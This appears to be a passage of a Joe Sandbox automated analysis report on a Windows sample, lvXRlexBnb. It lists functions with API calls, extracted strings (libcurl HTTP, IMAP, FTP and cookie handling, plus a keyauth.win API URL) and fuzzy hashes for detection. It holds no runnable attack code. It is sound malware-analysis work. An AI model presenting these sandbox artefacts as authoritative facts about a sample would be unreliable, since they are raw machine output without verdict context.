free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B711D36
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B711D3F

Strings

Transfer-Encoding:, xrefs: 00007FF79B711C58
Host:, xrefs: 00007FF79B711B99
1.1, xrefs: 00007FF79B711A1B
Authorization:, xrefs: 00007FF79B711C71
Cookie:, xrefs: 00007FF79B711C8B
Content-Type:, xrefs: 00007FF79B711BBF, 00007FF79B711BE5
Connection:, xrefs: 00007FF79B711C31
%s, xrefs: 00007FF79B711CCC
Content-Length:, xrefs: 00007FF79B711C0B

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$strchr$_strdup
String ID: %s$1.1$Authorization:$Connection:$Content-Length:$Content-Type:$Cookie:$Host:$Transfer-Encoding:
API String ID: 1922034842-2519073162
Opcode ID: 9420c540ce49b788537a1560c0a8b2960d2ad3b97e9a1f39b48959878ce98d9c
Instruction ID: e01cfeea15b11715e1d0c3b3b4b0b17a73c5ccd8fe4bda4cb44ce1054280c227
Opcode Fuzzy Hash: 9420c540ce49b788537a1560c0a8b2960d2ad3b97e9a1f39b48959878ce98d9c
Instruction Fuzzy Hash: E9919921A0964B45FB71EA3A9440379E791AF89B84FC44233D94D4AEF5EE2DE741C330

Function 00007FF79B73D000 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 179COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,0000000100000000,?,00007FF79B72FD2F), ref: 00007FF79B73D02D
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,0000000100000000,?,00007FF79B72FD2F), ref: 00007FF79B73D04F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,0000000100000000,?,00007FF79B72FD2F), ref: 00007FF79B73D060
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,0000000100000000,?,00007FF79B72FD2F), ref: 00007FF79B73D08E

Strings

/.., xrefs: 00007FF79B73D192
/./, xrefs: 00007FF79B73D11C
../, xrefs: 00007FF79B73D0F9
/../, xrefs: 00007FF79B73D15B

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$_strdupmalloc
String ID: ../$/..$/../$/./
API String ID: 111713529-456519384
Opcode ID: f19d3bbf4f657fe2a39777922c2588bd535b1b954c8ccd3c424f95d841e483cd
Instruction ID: f6fde4d7ae44dbaaf030a4a42621f41a9f7dea021a05d8797dcbf590404ee043
Opcode Fuzzy Hash: f19d3bbf4f657fe2a39777922c2588bd535b1b954c8ccd3c424f95d841e483cd
Instruction Fuzzy Hash: D871AB21E0D68E52FB727B39A540279EB51AB1AB94F844233CA5D026F0DF2CE759C321

Function 00007FF79B6FF4D0 Relevance: 25.7, APIs: 17, Instructions: 236COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6FF534
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6FF568
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FF579
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FF64F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FF65C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FF697
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FF6A1
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6FF71F
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6FF740
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6FF761
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6FF782
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FF819
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FF822

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$_strdup
String ID:
API String ID: 2653869212-0
Opcode ID: c5af31e6bfdd5c7defb84974b0b43b731949193f68c51d1a7fd0e98afda8c353
Instruction ID: 7e111eb1ca53f91da0ad94b1fcb899d8820f9ca8f0218a46524651df03b04d13
Opcode Fuzzy Hash: c5af31e6bfdd5c7defb84974b0b43b731949193f68c51d1a7fd0e98afda8c353
Instruction Fuzzy Hash: 49B16F32A0AB8987EA759F2DE551369B3A1FB44B54F940135CBAD43760DF3CF2648360

Function 00007FF79B737C01 Relevance: 24.7, APIs: 6, Strings: 8, Instructions: 165COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B737C32
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7380F9
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B738139
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73814C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7382AA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7382E8

Strings

-----BEGIN CERTIFICATE-----, xrefs: 00007FF79B73818C
Signature: %s, xrefs: 00007FF79B7380E7
TRUE, xrefs: 00007FF79B737C24
FALSE, xrefs: 00007FF79B737C1D
Signature, xrefs: 00007FF79B7380CF
Cert, xrefs: 00007FF79B7382BE
-----END CERTIFICATE-----, xrefs: 00007FF79B738237
%s, xrefs: 00007FF79B7382D6

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$_strdupmalloc
String ID: Signature: %s$%s$-----BEGIN CERTIFICATE-----$-----END CERTIFICATE-----$Cert$FALSE$Signature$TRUE
API String ID: 111713529-3006446216
Opcode ID: c052995a42e6b728a69c439b8f9efaad45d5159dd0512a59b113cd4f6ac561c8
Instruction ID: 422343ee52ab4efdf1996e3f99d0c98a8834f75f8d313d66800d5913d579fca6
Opcode Fuzzy Hash: c052995a42e6b728a69c439b8f9efaad45d5159dd0512a59b113cd4f6ac561c8
Instruction Fuzzy Hash: 9E71A766A0D6C585E721AB3DA4442B9BBA1EF49748FD84633CA4D07372DE3DD349C321

Function 00007FF79B731C70 Relevance: 24.2, APIs: 14, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B731D32
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B731D6A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B731D7D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B731DB1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B731DBC
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B731E72
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B731E7B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B731E86
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B731F71
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B731F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B731F85
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B731FFB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B732004
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73200F

Part of subcall function 00007FF79B732400: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B7342EA,?,?,00000000,00007FF79B730D25), ref: 00007FF79B732410
Part of subcall function 00007FF79B732400: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B7342EA,?,?,00000000,00007FF79B730D25), ref: 00007FF79B732421
Part of subcall function 00007FF79B732400: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B7342EA,?,?,00000000,00007FF79B730D25), ref: 00007FF79B732433

Strings

WDigest, xrefs: 00007FF79B731D1C, 00007FF79B731E34
DIGEST-MD5 handshake failure (empty challenge message), xrefs: 00007FF79B73201C

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$malloc
String ID: DIGEST-MD5 handshake failure (empty challenge message)$WDigest
API String ID: 2190258309-1086287758
Opcode ID: c9cf272a14080f984a1e5b17b6d9c33fcb4d42b5607d30e6d9f2944a95de6c96
Instruction ID: d81c2f07bc9d1fe77e09ce6b1a6a114ffbf9c136eac13b3c597f73b90a608b18
Opcode Fuzzy Hash: c9cf272a14080f984a1e5b17b6d9c33fcb4d42b5607d30e6d9f2944a95de6c96
Instruction Fuzzy Hash: BBB10532A08B4986E7209B79E8902ADB7A4FB4C794F800236DE4D47B78DF7CD649C750

Function 00007FF79B7389C0 Relevance: 24.2, APIs: 1, Strings: 15, Instructions: 179COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B738AD3

Strings

dh(g), xrefs: 00007FF79B738C60
RSA Public Key (%lu bits), xrefs: 00007FF79B738A8E
dsa(q), xrefs: 00007FF79B738B9C
dh(pub_key), xrefs: 00007FF79B738C76
rsaEncryption, xrefs: 00007FF79B738A05
dhpublicnumber, xrefs: 00007FF79B738BF6
%lu, xrefs: 00007FF79B738AA8
rsa(n), xrefs: 00007FF79B738AE0
dsa, xrefs: 00007FF79B738B35
dsa(g), xrefs: 00007FF79B738BCC
dsa(p), xrefs: 00007FF79B738B6D
dh(p), xrefs: 00007FF79B738C2F
dsa(pub_key), xrefs: 00007FF79B738BE2
RSA Public Key, xrefs: 00007FF79B738ABF
rsa(e), xrefs: 00007FF79B738B0B

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free
String ID: RSA Public Key (%lu bits)$%lu$RSA Public Key$dh(g)$dh(p)$dh(pub_key)$dhpublicnumber$dsa$dsa(g)$dsa(p)$dsa(pub_key)$dsa(q)$rsa(e)$rsa(n)$rsaEncryption
API String ID: 1294909896-1220118048
Opcode ID: 8e597e9a321645fbd1e646547d860fffd9a743d79f84a05bd7a1f386ba8e9fa4
Instruction ID: 54e31f25f71165861e32c29f549997dfa9c926648d998ba0e9c43d73a4e4d031
Opcode Fuzzy Hash: 8e597e9a321645fbd1e646547d860fffd9a743d79f84a05bd7a1f386ba8e9fa4
Instruction Fuzzy Hash: E9710051B0C74E42EA34AB79A5401B9A362EB8DB84F844633DE4D477B9EE3CD709C760

Function 00007FF79B72ED9C Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 252COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72EEED
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B72EF3E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72EFFA
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B72F008
tolower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B72F060
tolower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B72F06D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72F0EA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72F0FB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72F161
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72F16F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72F1BE
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72F1D6

Strings

%%%02x, xrefs: 00007FF79B72EFA3

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$_strdupmalloctolower
String ID: %%%02x
API String ID: 1244608590-4020994737
Opcode ID: b1bdd30bba7c06ed5a90474b3ff21456d1dc9d6e3bc5ba75029f1b5d07c933d7
Instruction ID: 7e191e95b6892c325af64afc84e78cbbad1bf8ebc5cf11f74012a3dc9bbb7421
Opcode Fuzzy Hash: b1bdd30bba7c06ed5a90474b3ff21456d1dc9d6e3bc5ba75029f1b5d07c933d7
Instruction Fuzzy Hash: 89A1C41190D28A45FB75AB399410379ABD1EF4DB84FC84673DA8E4A3F5DE2DE6048330

Function 00007FF79B71D080 Relevance: 22.8, APIs: 1, Strings: 14, Instructions: 321COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140 ref: 00007FF79B71D0D8

Strings

, xrefs: 00007FF79B71D0E1
Unexpected continuation response, xrefs: 00007FF79B71D51E
STORE, xrefs: 00007FF79B71D30A
SELECT, xrefs: 00007FF79B71D38F
PREA, xrefs: 00007FF79B71D114
UID, xrefs: 00007FF79B71D407
CAPABILITY, xrefs: 00007FF79B71D4A0
FETCH, xrefs: 00007FF79B71D24C, 00007FF79B71D362
EXAMINE, xrefs: 00007FF79B71D3A7
LSUB, xrefs: 00007FF79B71D3EF
LIST, xrefs: 00007FF79B71D2BC
EXPUNGE, xrefs: 00007FF79B71D3D7
NOOP, xrefs: 00007FF79B71D41F
SEARCH, xrefs: 00007FF79B71D1EC, 00007FF79B71D3BF

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: memcmp
String ID: $CAPABILITY$EXAMINE$EXPUNGE$FETCH$LIST$LSUB$NOOP$PREA$SEARCH$SELECT$STORE$UID$Unexpected continuation response
API String ID: 1475443563-555813803
Opcode ID: 6a2bea4392b2130e34a27003928b1a1b59b2f45c4f6fe4f375bb331a3221da70
Instruction ID: ed078e16eb8ea67b227bf5b1f2f4a78b5d532a31889d6c36cfb4c42b0ea596f2
Opcode Fuzzy Hash: 6a2bea4392b2130e34a27003928b1a1b59b2f45c4f6fe4f375bb331a3221da70
Instruction Fuzzy Hash: 61D19E21A0C25A51FB35FA3DC4442B8E691AF89B94FC44233DE1D165B5EEACFB018B31

Function 00007FF79B7188B0 Relevance: 22.7, APIs: 15, Instructions: 160COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,00000000,?,00007FF79B718B66), ref: 00007FF79B7188CB
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B7188EB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B71890C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B718915

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$_strdupmalloc
String ID:
API String ID: 111713529-0
Opcode ID: 65d70c2820eccc7ad6d5e07aa6e6552cb9b250ec8001ae131bdda7340f47216e
Instruction ID: b7dc674b6b369fb0304b18a77ed854227524865bea78c70a2a98bb055b471cf4
Opcode Fuzzy Hash: 65d70c2820eccc7ad6d5e07aa6e6552cb9b250ec8001ae131bdda7340f47216e
Instruction Fuzzy Hash: A5615D66A09B4583E625DF2AE444529B3A4FB8CB90B854236CF4E43770EF7CE595C320

Function 00007FF79B7219D0 Relevance: 21.3, APIs: 5, Strings: 9, Instructions: 279COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B721AF0

Strings

Uploaded unaligned file size (%I64d out of %I64d bytes), xrefs: 00007FF79B721DC6
server did not report OK, got %d, xrefs: 00007FF79B721D5E
control connection looks dead, xrefs: 00007FF79B721CE2
Received only partial file: %I64d bytes, xrefs: 00007FF79B721DFE
No data was received!, xrefs: 00007FF79B721E2C
Remembering we are in dir "%s", xrefs: 00007FF79B721B88
ABOR, xrefs: 00007FF79B721BEB
Failure sending ABOR command: %s, xrefs: 00007FF79B721C11
partial download completed, closing connection, xrefs: 00007FF79B721D23

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free
String ID: ABOR$Failure sending ABOR command: %s$No data was received!$Received only partial file: %I64d bytes$Remembering we are in dir "%s"$Uploaded unaligned file size (%I64d out of %I64d bytes)$control connection looks dead$partial download completed, closing connection$server did not report OK, got %d
API String ID: 1294909896-2312071747
Opcode ID: 4f8d1fe6c507fc75a8a7447a995cc6d66b45d7b9cd231fe4e4829fdd3982d9d9
Instruction ID: d4319f5eba2dde55faeb34236f9158e7f020520b9f104326e755f921a7132cdc
Opcode Fuzzy Hash: 4f8d1fe6c507fc75a8a7447a995cc6d66b45d7b9cd231fe4e4829fdd3982d9d9
Instruction Fuzzy Hash: 22D18321A0C68A85EE74AB39D5503B9A361FB49794FC00337CA6D07AF1DF7CE6958321

Function 00007FF79B6EC031 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79B6E4310: memcpy.VCRUNTIME140(7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF79B6E1B49), ref: 00007FF79B6E4341

Part of subcall function 00007FF79B6E6310: memcpy.VCRUNTIME140 ref: 00007FF79B6E6486

Part of subcall function 00007FF79B6E1FB0: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6E2121

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6EC0E0
__std_exception_destroy.VCRUNTIME140 ref: 00007FF79B6EC10E
__std_exception_destroy.VCRUNTIME140 ref: 00007FF79B6EC11C
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6EC156
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6EC1B3
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6EC26C
__std_exception_destroy.VCRUNTIME140 ref: 00007FF79B6EC29A
__std_exception_destroy.VCRUNTIME140 ref: 00007FF79B6EC2A8
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6EC2E2
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6EC333
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6EC37D

Strings

value, xrefs: 00007FF79B6EC04F, 00007FF79B6EC1D8

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$__std_exception_destroy$memcpy
String ID: value
API String ID: 3212548336-494360628
Opcode ID: 7b5888238a4a09ec30c6fc2f10e1af56b51de82c7d8bee0120de3219e1912078
Instruction ID: 3af77de9cc6558470bbaf23f379493589b2c7b51fe22dd926cb4730789cc9153
Opcode Fuzzy Hash: 7b5888238a4a09ec30c6fc2f10e1af56b51de82c7d8bee0120de3219e1912078
Instruction Fuzzy Hash: 64A1A722A18A4985EB10EBBCE4443ADA762FB457B4F801332DA6D06EF5DF7DE195C310

Function 00007FF79B6FA010 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 161fileCOMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FA07D
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6FA09D
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF79B6FA0D1
fopen.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF79B6FA0F2
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FA115
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FA126
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF79B6FA148
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FA1FF
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF79B6FA214

Strings

Set-Cookie:, xrefs: 00007FF79B6FA186
none, xrefs: 00007FF79B6FA092
ignoring failed cookie_init for %s, xrefs: 00007FF79B6FA152

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: fclosefree$__acrt_iob_func_strdupcallocfopenmalloc
String ID: Set-Cookie:$ignoring failed cookie_init for %s$none
API String ID: 4109794434-4095489131
Opcode ID: 88899a74057057c88eedf4ad62886504cfa5c0b3359586eb28e03194c433b762
Instruction ID: 9e135e3f99349b0d64354ca9002f4be77e4ffd481c2c8d3d7375372a280aaed7
Opcode Fuzzy Hash: 88899a74057057c88eedf4ad62886504cfa5c0b3359586eb28e03194c433b762
Instruction Fuzzy Hash: 8461C521A0C78E81EA71EB3994052B9A7A6BF49B84FC94135DE9D077B1DE3DF6018320

Function 00007FF79B6F2500 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 88stringCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF79B6F2522
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6F252A
__sys_nerr.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6F2549
strerror.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6F2555
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F2564
strrchr.VCRUNTIME140 ref: 00007FF79B6F25B5
strrchr.VCRUNTIME140 ref: 00007FF79B6F25D6
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6F25EF
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6F25FA
GetLastError.KERNEL32 ref: 00007FF79B6F2603
SetLastError.KERNEL32 ref: 00007FF79B6F260F

Strings

Unknown error %d (%#x), xrefs: 00007FF79B6F2597

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
